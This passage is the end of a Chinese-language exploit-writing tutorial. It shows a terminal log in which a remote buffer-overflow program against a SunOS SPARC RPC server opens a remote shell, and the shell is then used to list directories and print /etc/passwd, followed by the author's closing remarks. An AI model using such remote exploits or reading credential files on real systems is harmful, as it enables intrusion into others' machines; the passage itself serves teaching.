dog  said  to  cat==> hello
hongkong:/home/moda
hongkong:/home/moda
hongkong:/home/moda rmsge beijing
port=59624 connected!
sent!
SunOS beijing 5.7 Generic_106541-16 sun4u sparc SUNW,Ultra-250
pwd
/home/moda/clab/rpc.Heap
        
hostname
beijing

ls
msg.h
msg.x
msg_clnt.c
msg_clnt.o
msg_proc.c
msg_proc.o
msg_svc
msg_svc.c
msg_svc.o
msg_xdr.c
msg_xdr.o
rmsg
rmsg.c
rmsg.o
rmsge
rmsge.c
rmsge.o

cd /etc

ls
TIMEZONE
acct
aliases
asppp.cf
auto_home
auto_master
autopush
cfgadm
chroot
clri


cat passwd
root:x:0:1:Super-User:/:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:Nobody:/:
noaccess:x:60002:60002:No Access User:/:
nobody4:x:65534:65534:SunOS 4.x Nobody:/:
moda:x:1014:10:Developer:/home/moda:/bin/ksh

大功告成!我们在远程RPC Server中成功地实现了缓冲区溢出,Server被我们取得控制权,产生了一个远程Shell,我们可以通过这个Shell向远程计算机发出控制命令。


结尾的话:


这长长的一章终於快要结束了,我很高兴能完成一个远程Exploit的例子供大家参考,这比Local Exploit要有意义得多。通过这一章,大家看到了Sparc与Intel X86两种的处理器对应着截然不同的Exploit方法。总的说来,Exploit是非常Specific的,或者说是非常有针对性的,不同的架构(Architecture)、不同版本的操作系统都需要不同的Exploit程序,或者至少修改Exploit程序的参数。有很多前人和今人都在研究Portable Exploitation的方法,不过估计是路漫漫啦!

另外说一句,Sparc处理器设计得真好,只是Sun Microsystem的Marketing水平不如Intel公司,结果......套句某历史人物的话说:遂让竖子成名!
版权所有,未经许可,不得转载